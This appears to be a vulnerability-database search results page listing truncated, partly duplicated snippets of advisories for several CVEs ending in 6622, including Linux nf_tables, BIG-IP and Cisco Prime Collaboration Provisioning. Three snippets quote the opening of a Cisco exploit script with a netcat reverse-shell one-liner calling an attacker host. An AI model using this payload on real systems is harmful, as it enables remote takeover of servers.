DEBIAN-CVE-2023-6622

A null pointer dereference vulnerability was found in nftdynsetinit in net/netfilter/nftdynset.c in nftables in the Linux kernel. This issue may allow a local attacker with CAPNETADMIN user privilege to trigger a denial of service...

CVE-2023-6622

CVE-2023-6622 : A null pointer dereference in nft_dynset_init() of net/netfilter/nft_dynset.c (nf_tables) allows a local attacker with CAP_NET_ADMIN to trigger a denial of service. Affected: Linux kernel nf_tables/nft_dynset; impact: local DoS; exploitability: LOCAL, requires privileges, no user ...

CVE-2023-6622 Kernel: null pointer dereference vulnerability in nft_dynset_init()

A null pointer dereference vulnerability was found in nftdynsetinit in net/netfilter/nftdynset.c in nftables in the Linux kernel. This issue may allow a local attacker with CAPNETADMIN user privilege to trigger a denial of service...

K44885536: iControl REST vulnerability CVE-2019-6622

Security Advisory Description Undisclosed iControl REST worker is vulnerable to command injection by an administrator or resource administrator user. This attack is only exploitable on multi-bladed systems. The vulnerability allows bypass of Appliance mode security on BIG-IP systems by allowing t...

BuilderPandoraRat.b Insecure Credential Storage

Discovery / credits: Malvuln - malvuln.com c 2022 Original source: https://malvuln.com/advisory/ae4a409d217bbd538009fbbb5457e754.txt Contact: [email protected] Media: twitter.com/malvuln Threat: BuilderPandoraRat.b - Pandora Rat 2.2 Beta.exe Vulnerability: Insecure Credential Storage Descriptio...

Mageia: Security Advisory (MGASA-2016-0291)

The remote host is missing an update for the SPDX-FileCopyrightText: 2022 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Mageia: Security Advisory (MGASA-2013-0324)

The remote host is missing an update for the SPDX-FileCopyrightText: 2022 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

CVE-2020-6622

stb stbtruetype.h through 1.22 has a heap-based buffer over-read in stbttbufpeek8...

CVE-2020-6622

stb stbtruetype.h through 1.22 has a heap-based buffer over-read in stbttbufpeek8...

CVE-2020-6622

stb stbtruetype.h through 1.22 has a heap-based buffer over-read in stbttbufpeek8...

CVE-2020-6622

CVE-2020-6622 affects the stb_truetype.h library (stb_truetype.h up to version 1.22). The vulnerability is a heap-based buffer over-read in the function stbtt__buf_peek8. The available connected documents confirm the affected component and the underlying issue, but do not provide a vendor patch/v...

CVE-2019-6622

On BIG-IP 14.1.0-14.1.0.5, 14.0.0-14.0.0.5, 13.0.0-13.1.1.4, 12.1.0-12.1.4.1, and 11.5.1-11.6.4, an undisclosed iControl REST worker is vulnerable to command injection by an administrator or resource administrator user. This attack is only exploitable on multi-bladed systems...

CVE-2019-6622

CVE-2019-6622 affects BIG-IP iControl REST: an undisclosed worker is vulnerable to command injection by an administrator on multi-bladed systems. Affected versions include BIG-IP 11.5.1–11.6.4, 12.1.0–12.1.4.1, 13.0.0–13.1.1.4, and 14.0.0–14.1.0.5 (plus 14.1.0). Impact is remote execution of arbi...

TPM 2.0 Sleep-Wake Error in BIOS Firmware - Lenovo Support US

No description provided...

Cisco Prime Collaboration Provisioning ScriptMgr HEAD request vulnerability

Added: 10/25/2017 CVE: CVE-2017-6622 BID: 98520 Background The Cisco Prime Collaboration product family facilitates installation and maintenance of Cisco Unified Communications and Cisco TelePresence components, as well as the provisioning of users and services. Problem Missing security constrain...

Cisco Prime Collaboration Provisioning Authentication Bypass / Code Execution

Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc $ATTACKER $PORT /tmp/f"...

Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution Exp

Exploit for hardware platform in category remote exploits Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat...

Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution

Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc $ATTACKER $PORT /tmp/f"...

Cisco Prime Collaboration Provisioning ScriptMgr Authentication Bypass (CVE-2017-6622)

An authentication bypass vulnerability has been reported in Cisco Prime Collaboration Provisioning. The vulnerability is due to insufficient validation on user supplied paths when a request is sent to ScriptMgr servlet. A remote, unauthenticated attacker can exploit this vulnerability by sending ...

Cisco Prime Collaboration Provisioning ScriptMgr Servlet Authentication Bypass RCE

The remote Cisco Prime Collaboration Provisioning server is affected by a remote command execution vulnerability in the ScriptMgr servlet due to a failure to restrict the HTTP HEAD method. An unauthenticated, remote attacker can exploit this to bypass authentication and execute arbitrary commands...